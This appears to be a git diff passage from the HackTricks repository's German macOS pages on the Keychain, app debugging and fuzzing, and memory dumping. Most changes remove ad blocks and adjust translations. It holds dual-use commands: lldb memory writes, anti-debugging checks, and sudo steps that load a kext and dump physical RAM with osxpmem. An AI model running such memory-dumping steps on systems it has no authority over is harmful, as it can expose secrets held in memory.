Integritätsprüfung sehen. * Keine Apps können die ACLs ändern. * Die **partitionID** wird auf **`teamid:[teamID hier]`** gesetzt. @@ -153,17 +140,6 @@ Wenn **apple** in der **PartitionID** angegeben ist, könntest du darauf mit **` * [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden von **Stealer-Malware** **kompromittiert** wurden. - -Ihr Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md index 3c7340700..6a7b7f22e 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md @@ -10,24 +10,11 @@ Lerne & übe GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Account-Übernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -*** ## Statische Analyse @@ -114,7 +101,7 @@ ldid -S/tmp/entl.xml ``` ### SuspiciousPackage -[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) ist ein nützliches Tool, um **.pkg**-Dateien (Installer) zu inspizieren und zu sehen, was sich darin befindet, bevor man sie installiert.\ +[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) ist ein nützliches Tool, um **.pkg**-Dateien (Installer) zu inspizieren und zu sehen, was darin enthalten ist, bevor man sie installiert.\ Diese Installer haben `preinstall` und `postinstall` Bash-Skripte, die von Malware-Autoren häufig missbraucht werden, um **die** **Malware** **persistieren** zu lassen. ### hdiutil @@ -170,11 +157,11 @@ x64: | ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ | | **1. Argument** | **rdi** | **self: Objekt, auf dem die Methode aufgerufen wird** | | **2. Argument** | **rsi** | **op: Name der Methode** | -| **3. Argument** | **rdx** | **1. Argument für die Methode** | -| **4. Argument** | **rcx** | **2. Argument für die Methode** | -| **5. Argument** | **r8** | **3. Argument für die Methode** | -| **6. Argument** | **r9** | **4. Argument für die Methode** | -| **7. Argument und mehr** |

rsp+
(auf dem Stack)

| **5. Argument und mehr für die Methode** | +| **3. Argument** | **rdx** | **1. Argument für die Methode** | +| **4. Argument** | **rcx** | **2. Argument für die Methode** | +| **5. Argument** | **r8** | **3. Argument für die Methode** | +| **6. Argument** | **r9** | **4. Argument für die Methode** | +| **7. Argument und mehr** |

rsp+
(auf dem Stack)

| **5. Argument und mehr für die Methode** | ### Dump ObjectiveC-Metadaten @@ -209,7 +196,7 @@ print(metadata.to_decl()) ``` ## Statische Swift-Analyse -Mit Swift-Binärdateien, da es eine Objective-C-Kompatibilität gibt, können Sie manchmal Deklarationen mit [class-dump](https://github.com/nygard/class-dump/) extrahieren, aber nicht immer. +Mit Swift-Binärdateien, da es eine Kompatibilität zu Objective-C gibt, kann man manchmal Deklarationen mit [class-dump](https://github.com/nygard/class-dump/) extrahieren, aber nicht immer. Mit den **`jtool -l`** oder **`otool -l`** Befehlen ist es möglich, mehrere Abschnitte zu finden, die mit dem Präfix **`__swift5`** beginnen: ```bash @@ -240,14 +227,14 @@ Beachten Sie, dass zum Debuggen von Binärdateien **SIP deaktiviert sein muss** {% endhint %} {% hint style="warning" %} -Beachten Sie, dass zum **Instrumentieren von System-Binärdateien** (wie `cloudconfigurationd`) auf macOS **SIP deaktiviert sein muss** (nur das Entfernen der Signatur funktioniert nicht). +Beachten Sie, dass zum **Instrumentieren von System-Binärdateien** (wie `cloudconfigurationd`) auf macOS **SIP deaktiviert sein muss** (das Entfernen der Signatur funktioniert nicht). {% endhint %} ### APIs -macOS bietet einige interessante APIs, die Informationen über die Prozesse bereitstellen: +macOS stellt einige interessante APIs zur Verfügung, die Informationen über die Prozesse geben: -* `proc_info`: Dies ist die Haupt-API, die viele Informationen über jeden Prozess liefert. Sie müssen root sein, um Informationen über andere Prozesse zu erhalten, aber Sie benötigen keine speziellen Berechtigungen oder Mach-Ports. +* `proc_info`: Dies ist die Haupt-API, die viele Informationen über jeden Prozess liefert. Sie müssen root sein, um Informationen über andere Prozesse zu erhalten, benötigen jedoch keine speziellen Berechtigungen oder Mach-Ports. * `libsysmon.dylib`: Es ermöglicht, Informationen über Prozesse über XPC-exponierte Funktionen zu erhalten, jedoch ist es erforderlich, die Berechtigung `com.apple.sysmond.client` zu haben. ### Stackshot & Mikrostackshots @@ -298,7 +285,7 @@ In der rechten Spalte können Sie interessante Informationen wie die **Navigatio Es ermöglicht Benutzern den Zugriff auf Anwendungen auf einem extrem **niedrigen Niveau** und bietet eine Möglichkeit für Benutzer, **Programme** zu **verfolgen** und sogar ihren Ausführungsfluss zu ändern. Dtrace verwendet **Proben**, die **im gesamten Kernel platziert sind** und sich an Orten wie dem Anfang und Ende von Systemaufrufen befinden. -DTrace verwendet die Funktion **`dtrace_probe_create`**, um eine Probe für jeden Systemaufruf zu erstellen. Diese Proben können am **Einstieg und Ausgangspunkt jedes Systemaufrufs** ausgelöst werden. Die Interaktion mit DTrace erfolgt über /dev/dtrace, das nur für den Root-Benutzer verfügbar ist. +DTrace verwendet die Funktion **`dtrace_probe_create`**, um eine Probe für jeden Systemaufruf zu erstellen. Diese Proben können am **Einstiegs- und Austrittspunkt jedes Systemaufrufs** ausgelöst werden. Die Interaktion mit DTrace erfolgt über /dev/dtrace, das nur für den Root-Benutzer verfügbar ist. {% hint style="success" %} Um Dtrace zu aktivieren, ohne den SIP-Schutz vollständig zu deaktivieren, können Sie im Wiederherstellungsmodus ausführen: `csrutil enable --without dtrace` @@ -392,11 +379,11 @@ Um mit kdebug über einen benutzerdefinierten Client zu interagieren, sind dies Um diese Informationen zu erhalten, ist es möglich, das Apple-Tool **`trace`** oder das benutzerdefinierte Tool [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)** zu verwenden.** -**Beachten Sie, dass Kdebug nur für 1 Kunden gleichzeitig verfügbar ist.** Daher kann nur ein k-debug-unterstütztes Tool zur gleichen Zeit ausgeführt werden. +**Beachten Sie, dass Kdebug nur für 1 Kunden gleichzeitig verfügbar ist.** Daher kann nur ein k-debug-gestütztes Tool zur gleichen Zeit ausgeführt werden. ### ktrace -Die `ktrace_*` APIs stammen aus `libktrace.dylib`, die die von `Kdebug` umhüllen. Ein Client kann dann einfach `ktrace_session_create` und `ktrace_events_[single/class]` aufrufen, um Rückrufe für spezifische Codes festzulegen und es dann mit `ktrace_start` zu starten. +Die `ktrace_*` APIs stammen von `libktrace.dylib`, die die von `Kdebug` umhüllen. Ein Client kann dann einfach `ktrace_session_create` und `ktrace_events_[single/class]` aufrufen, um Rückrufe für spezifische Codes festzulegen und es dann mit `ktrace_start` zu starten. Sie können dies sogar mit **SIP aktiviert** verwenden. @@ -474,7 +461,7 @@ settings set target.x86-disassembly-flavor intel Innerhalb von lldb, dumpen Sie einen Prozess mit `process save-core` {% endhint %} -
(lldb) BefehlBeschreibung
run (r)Startet die Ausführung, die ununterbrochen fortgesetzt wird, bis ein Haltepunkt erreicht wird oder der Prozess beendet wird.
process launch --stop-at-entryStartet die Ausführung und stoppt am Einstiegspunkt
continue (c)Setzt die Ausführung des debugged Prozesses fort.
nexti (n / ni)Führt die nächste Anweisung aus. Dieser Befehl überspringt Funktionsaufrufe.
stepi (s / si)Führt die nächste Anweisung aus. Im Gegensatz zum nexti-Befehl wird dieser Befehl in Funktionsaufrufe eintreten.
finish (f)Führt den Rest der Anweisungen in der aktuellen Funktion (“Frame”) aus, gibt zurück und stoppt.
control + cPause die Ausführung. Wenn der Prozess ausgeführt (r) oder fortgesetzt (c) wurde, wird dies den Prozess anhalten ...wo auch immer er sich gerade befindet.
breakpoint (b)

b main #Jede Funktion, die main genannt wird

b <binname>`main #Hauptfunktion des Bins

b set -n main --shlib <lib_name> #Hauptfunktion des angegebenen Bins

breakpoint set -r '\[NSFileManager .*\]$' #Jede NSFileManager-Methode

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # Brechen in allen Funktionen dieser Bibliothek

b -a 0x0000000100004bd9

br l #Breakpoint-Liste

br e/dis <num> #Aktivieren/Deaktivieren des Breakpoints

breakpoint delete <num>

help

help breakpoint #Hilfe zum Breakpoint-Befehl erhalten

help memory write #Hilfe zum Schreiben in den Speicher erhalten

reg

reg read

reg read $rax

reg read $rax --format <format>

reg write $rip 0x100035cc0

x/s <reg/memory address>Zeigt den Speicher als nullterminierten String an.
x/i <reg/memory address>Zeigt den Speicher als Assemblieranweisung an.
x/b <reg/memory address>Zeigt den Speicher als Byte an.
print object (po)

Dies wird das Objekt drucken, auf das der Parameter verweist

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Beachten Sie, dass die meisten von Apples Objective-C APIs oder Methoden Objekte zurückgeben und daher über den Befehl “print object” (po) angezeigt werden sollten. Wenn po keine sinnvolle Ausgabe erzeugt, verwenden Sie x/b

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Schreibt AAAA in diese Adresse
memory write -f s $rip+0x11f+7 "AAAA" #Schreibt AAAA in die Adresse
disassembly

dis #Disassembliert die aktuelle Funktion

dis -n <funcname> #Disassembliert die Funktion

dis -n <funcname> -b <basename> #Disassembliert die Funktion
dis -c 6 #Disassembliert 6 Zeilen
dis -c 0x100003764 -e 0x100003768 # Von einer Adresse zur anderen
dis -p -c 4 # Beginnt an der aktuellen Adresse mit dem Disassemblieren

parrayparray 3 (char **)$x1 # Überprüft das Array von 3 Komponenten im x1-Register
image dump sectionsGibt eine Karte des aktuellen Prozessspeichers aus
image dump symtab <library>image dump symtab CoreNLP #Erhält die Adresse aller Symbole von CoreNLP
+
(lldb) BefehlBeschreibung
run (r)Startet die Ausführung, die ununterbrochen fortgesetzt wird, bis ein Haltepunkt erreicht wird oder der Prozess beendet wird.
process launch --stop-at-entryStartet die Ausführung und stoppt am Einstiegspunkt
continue (c)Setzt die Ausführung des debugged Prozesses fort.
nexti (n / ni)Führt die nächste Anweisung aus. Dieser Befehl überspringt Funktionsaufrufe.
stepi (s / si)Führt die nächste Anweisung aus. Im Gegensatz zum nexti-Befehl wird dieser Befehl in Funktionsaufrufe eintreten.
finish (f)Führt den Rest der Anweisungen in der aktuellen Funktion (“Frame”) aus, gibt zurück und stoppt.
control + cPause die Ausführung. Wenn der Prozess ausgeführt (r) oder fortgesetzt (c) wurde, wird dies den Prozess anhalten ...wo auch immer er sich gerade befindet.
breakpoint (b)

b main #Jede Funktion, die main genannt wird

b <binname>`main #Hauptfunktion des Bins

b set -n main --shlib <lib_name> #Hauptfunktion des angegebenen Bins

breakpoint set -r '\[NSFileManager .*\]$' #Jede NSFileManager-Methode

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # Break in allen Funktionen dieser Bibliothek

b -a 0x0000000100004bd9

br l #Breakpoint-Liste

br e/dis <num> #Aktivieren/Deaktivieren des Breakpoints

breakpoint delete <num>

help

help breakpoint #Hilfe zum Breakpoint-Befehl erhalten

help memory write #Hilfe zum Schreiben in den Speicher erhalten

reg

reg read

reg read $rax

reg read $rax --format <format>

reg write $rip 0x100035cc0

x/s <reg/memory address>Zeigt den Speicher als nullterminierten String an.
x/i <reg/memory address>Zeigt den Speicher als Assemblieranweisung an.
x/b <reg/memory address>Zeigt den Speicher als Byte an.
print object (po)

Dies wird das Objekt drucken, auf das der Parameter verweist

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Beachten Sie, dass die meisten von Apples Objective-C APIs oder Methoden Objekte zurückgeben und daher über den Befehl “print object” (po) angezeigt werden sollten. Wenn po keine sinnvolle Ausgabe erzeugt, verwenden Sie x/b

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Schreibt AAAA in diese Adresse
memory write -f s $rip+0x11f+7 "AAAA" #Schreibt AAAA in die Adresse
disassembly

dis #Disassembliert die aktuelle Funktion

dis -n <funcname> #Disassembliert die Funktion

dis -n <funcname> -b <basename> #Disassembliert die Funktion
dis -c 6 #Disassembliert 6 Zeilen
dis -c 0x100003764 -e 0x100003768 # Von einer Adresse bis zur anderen
dis -p -c 4 # Beginnt an der aktuellen Adresse mit dem Disassemblieren

parrayparray 3 (char **)$x1 # Überprüft das Array von 3 Komponenten im x1-Register
image dump sectionsGibt eine Karte des aktuellen Prozessspeichers aus
image dump symtab <library>image dump symtab CoreNLP #Erhält die Adresse aller Symbole von CoreNLP
{% hint style="info" %} Beim Aufrufen der **`objc_sendMsg`**-Funktion hält das **rsi**-Register den **Namen der Methode** als nullterminierten (“C”) String. Um den Namen über lldb auszugeben, tun Sie: @@ -495,8 +482,8 @@ Beim Aufrufen der **`objc_sendMsg`**-Funktion hält das **rsi**-Register den **N * Durch das Spielen mit den Werten von **`hw.logicalcpu`** und **`hw.physicalcpu`** versuchen einige Malware, zu erkennen, ob es sich um eine VM handelt. * Einige Malware kann auch **erkennen**, ob die Maschine **VMware** basiert ist, basierend auf der MAC-Adresse (00:50:56). * Es ist auch möglich zu finden, **ob ein Prozess debuggt wird** mit einem einfachen Code wie: -* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //Prozess wird debuggt }` -* Es kann auch den **`ptrace`** Systemaufruf mit dem **`PT_DENY_ATTACH`**-Flag aufrufen. Dies **verhindert**, dass ein Debugger anhängt und verfolgt. +* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //prozess wird debuggt }` +* Es kann auch den **`ptrace`** Systemaufruf mit dem **`PT_DENY_ATTACH`**-Flag aufrufen. Dies **verhindert**, dass ein Debugger sich anheftet und verfolgt. * Sie können überprüfen, ob die **`sysctl`** oder **`ptrace`** Funktion **importiert** wird (aber die Malware könnte sie dynamisch importieren) * Wie in diesem Bericht erwähnt, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\ “_Die Nachricht Process # exited with **status = 45 (0x0000002d)** ist normalerweise ein sicheres Zeichen dafür, dass das Debug-Ziel **PT\_DENY\_ATTACH** verwendet._” @@ -507,7 +494,7 @@ Core Dumps werden erstellt, wenn: * `kern.coredump` sysctl auf 1 gesetzt ist (standardmäßig) * Wenn der Prozess nicht suid/sgid war oder `kern.sugid_coredump` auf 1 gesetzt ist (standardmäßig 0) -* Das `AS_CORE`-Limit die Operation erlaubt. Es ist möglich, die Erstellung von Core Dumps zu unterdrücken, indem `ulimit -c 0` aufgerufen wird und sie mit `ulimit -c unlimited` wieder zu aktivieren. +* Das `AS_CORE`-Limit die Operation erlaubt. Es ist möglich, die Erstellung von Core Dumps zu unterdrücken, indem Sie `ulimit -c 0` aufrufen und sie mit `ulimit -c unlimited` wieder aktivieren. In diesen Fällen wird der Core Dump gemäß dem `kern.corefile` sysctl generiert und normalerweise in `/cores/core/.%P` gespeichert. @@ -515,9 +502,9 @@ In diesen Fällen wird der Core Dump gemäß dem `kern.corefile` sysctl generier ### [ReportCrash](https://ss64.com/osx/reportcrash.html) -ReportCrash **analysiert abstürzende Prozesse und speichert einen Absturzbericht auf der Festplatte**. Ein Absturzbericht enthält Informationen, die einem Entwickler helfen können, die Ursache eines Absturzes zu diagnostizieren.\ +ReportCrash **analysiert abstürzende Prozesse und speichert einen Absturzbericht auf der Festplatte**. Ein Absturzbericht enthält Informationen, die einem **Entwickler helfen können,** die Ursache eines Absturzes zu diagnostizieren.\ Für Anwendungen und andere Prozesse, die **im benutzerspezifischen launchd-Kontext** ausgeführt werden, läuft ReportCrash als LaunchAgent und speichert Absturzberichte im `~/Library/Logs/DiagnosticReports/` des Benutzers.\ -Für Daemons, andere Prozesse, die **im systemweiten launchd-Kontext** ausgeführt werden, und andere privilegierte Prozesse, läuft ReportCrash als LaunchDaemon und speichert Absturzberichte im `/Library/Logs/DiagnosticReports` des Systems. +Für Daemons, andere Prozesse, die **im systemweiten launchd-Kontext** und andere privilegierte Prozesse ausgeführt werden, läuft ReportCrash als LaunchDaemon und speichert Absturzberichte im `/Library/Logs/DiagnosticReports` des Systems. Wenn Sie sich Sorgen über Absturzberichte machen, die **an Apple gesendet werden**, können Sie sie deaktivieren. Andernfalls können Absturzberichte nützlich sein, um **herauszufinden, wie ein Server abgestürzt ist**. ```bash @@ -529,7 +516,7 @@ sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Roo launchctl load -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.plist ``` -### Schlafen +### Schlaf Beim Fuzzing auf einem MacOS ist es wichtig, den Mac nicht in den Schlafmodus zu versetzen: @@ -585,7 +572,7 @@ Funktioniert für CLI-Tools #### [Litefuzz](https://github.com/sec-tools/litefuzz) -Es "**funktioniert einfach"** mit macOS GUI-Tools. Beachten Sie, dass einige macOS-Apps spezifische Anforderungen haben, wie eindeutige Dateinamen, die richtige Erweiterung und dass die Dateien aus dem Sandbox (`~/Library/Containers/com.apple.Safari/Data`) gelesen werden müssen... +Es "**funktioniert einfach"** mit macOS GUI-Tools. Beachten Sie, dass einige macOS-Apps spezifische Anforderungen haben, wie eindeutige Dateinamen, die richtige Erweiterung, und dass die Dateien aus dem Sandbox (`~/Library/Containers/com.apple.Safari/Data`) gelesen werden müssen... Einige Beispiele: @@ -629,25 +616,13 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash * [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) * [**The Art of Mac Malware: The Guide to Analyzing Malicious Software**](https://taomm.org/) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Account-Übernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricks unterstützen +Unterstützen Sie HackTricks * Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md index 6129a2c0d..3501c4a62 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md @@ -1,57 +1,44 @@ -# macOS Speicherauszug +# macOS Memory Dumping {% hint style="success" %} -Lernen Sie AWS-Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen Sie GCP-Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Unterstützen Sie HackTricks +Support HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) -
+## Memory Artifacts -[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden. +### Swap Files -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen. +Swap-Dateien, wie `/private/var/vm/swapfile0`, dienen als **Caches, wenn der physische Speicher voll ist**. Wenn im physischen Speicher kein Platz mehr ist, werden die Daten in eine Swap-Datei übertragen und bei Bedarf wieder in den physischen Speicher zurückgebracht. Es können mehrere Swap-Dateien vorhanden sein, mit Namen wie swapfile0, swapfile1 und so weiter. -Sie können ihre Website besuchen und ihren Dienst **kostenlos** ausprobieren unter: +### Hibernate Image -{% embed url="https://whiteintel.io" %} +Die Datei, die sich unter `/private/var/vm/sleepimage` befindet, ist während des **Hibernate-Modus** entscheidend. **Daten aus dem Speicher werden in dieser Datei gespeichert, wenn OS X in den Ruhezustand wechselt**. Nach dem Aufwachen des Computers ruft das System die Speicher Daten aus dieser Datei ab, sodass der Benutzer dort weitermachen kann, wo er aufgehört hat. -*** - -## Speicherartefakte - -### Auslagerungsdateien - -Auslagerungsdateien wie `/private/var/vm/swapfile0` dienen als **Zwischenspeicher, wenn der physische Speicher voll ist**. Wenn im physischen Speicher kein Platz mehr ist, werden die Daten in eine Auslagerungsdatei übertragen und bei Bedarf wieder in den physischen Speicher zurückgebracht. Es können mehrere Auslagerungsdateien vorhanden sein, mit Namen wie swapfile0, swapfile1 usw. - -### Ruhezustandsabbild - -Die Datei `/private/var/vm/sleepimage`, die sich im **Ruhezustand** befindet, ist entscheidend. **Daten aus dem Speicher werden in dieser Datei gespeichert, wenn macOS in den Ruhezustand versetzt wird**. Beim Aufwecken des Computers ruft das System die Speicherdaten aus dieser Datei ab, sodass der Benutzer dort weitermachen kann, wo er aufgehört hat. - -Es ist erwähnenswert, dass diese Datei auf modernen MacOS-Systemen aus Sicherheitsgründen in der Regel verschlüsselt ist, was die Wiederherstellung erschwert. +Es ist erwähnenswert, dass diese Datei auf modernen MacOS-Systemen aus Sicherheitsgründen typischerweise verschlüsselt ist, was die Wiederherstellung erschwert. * Um zu überprüfen, ob die Verschlüsselung für das sleepimage aktiviert ist, kann der Befehl `sysctl vm.swapusage` ausgeführt werden. Dies zeigt an, ob die Datei verschlüsselt ist. -### Speicherdruckprotokolle +### Memory Pressure Logs -Eine weitere wichtige speicherbezogene Datei in MacOS-Systemen sind die **Speicherdruckprotokolle**. Diese Protokolle befinden sich in `/var/log` und enthalten detaillierte Informationen zur Speicherauslastung des Systems und zu Druckereignissen. Sie können besonders nützlich sein, um speicherbezogene Probleme zu diagnostizieren oder zu verstehen, wie das System den Speicher im Laufe der Zeit verwaltet. +Eine weitere wichtige speicherbezogene Datei in MacOS-Systemen ist das **Speicher-Druckprotokoll**. Diese Protokolle befinden sich in `/var/log` und enthalten detaillierte Informationen über die Speichernutzung und Druckereignisse des Systems. Sie können besonders nützlich sein, um speicherbezogene Probleme zu diagnostizieren oder zu verstehen, wie das System im Laufe der Zeit mit dem Speicher umgeht. -## Speicherauszug mit osxpmem +## Dumping memory with osxpmem -Um den Speicher in einem MacOS-Gerät auszulesen, können Sie [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip) verwenden. +Um den Speicher auf einem MacOS-Gerät zu dumpen, können Sie [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip) verwenden. -**Hinweis**: Die folgenden Anweisungen funktionieren nur für Macs mit Intel-Architektur. Dieses Tool ist jetzt archiviert und die letzte Version stammt aus dem Jahr 2017. Die mit den folgenden Anweisungen heruntergeladene Binärdatei zielt auf Intel-Chips ab, da Apple Silicon im Jahr 2017 noch nicht existierte. Es ist möglicherweise möglich, die Binärdatei für die arm64-Architektur zu kompilieren, aber Sie müssen es selbst versuchen. +**Hinweis**: Die folgenden Anweisungen funktionieren nur für Macs mit Intel-Architektur. Dieses Tool ist jetzt archiviert und die letzte Version wurde 2017 veröffentlicht. Die mit den folgenden Anweisungen heruntergeladene Binärdatei richtet sich an Intel-Chips, da Apple Silicon 2017 noch nicht verfügbar war. Es kann möglich sein, die Binärdatei für die arm64-Architektur zu kompilieren, aber das müssen Sie selbst ausprobieren. ```bash #Dump raw format sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem @@ -59,14 +46,14 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem #Dump aff4 format sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4 ``` -Wenn Sie diesen Fehler finden: `osxpmem.app/MacPmem.kext konnte nicht geladen werden - (libkern/kext) Authentifizierungsfehler (Dateibesitz/Berechtigungen); überprüfen Sie die System-/Kernelprotokolle auf Fehler oder versuchen Sie kextutil(8)` Sie können es beheben, indem Sie: +Wenn Sie diesen Fehler finden: `osxpmem.app/MacPmem.kext konnte nicht geladen werden - (libkern/kext) Authentifizierungsfehler (Dateibesitz/ Berechtigungen); überprüfen Sie die System-/Kernelprotokolle auf Fehler oder versuchen Sie kextutil(8)` können Sie ihn beheben, indem Sie: ```bash sudo cp -r osxpmem.app/MacPmem.kext "/tmp/" sudo kextutil "/tmp/MacPmem.kext" #Allow the kext in "Security & Privacy --> General" sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem ``` -**Andere Fehler** können behoben werden, indem Sie das Laden des kext in "Sicherheit & Datenschutz --> Allgemein" **zulassen**, einfach **zulassen**. +**Andere Fehler** könnten behoben werden, indem **das Laden des kext** in "Sicherheit & Datenschutz --> Allgemein" **erlaubt** wird, einfach **erlauben**. Sie können auch diesen **Oneliner** verwenden, um die Anwendung herunterzuladen, den kext zu laden und den Speicher zu dumpen: @@ -77,21 +64,10 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem- ``` {% endcode %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden. - -Sie können ihre Website besuchen und ihre Suchmaschine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} -Lernen Sie & üben Sie AWS-Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen Sie & üben Sie GCP-Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
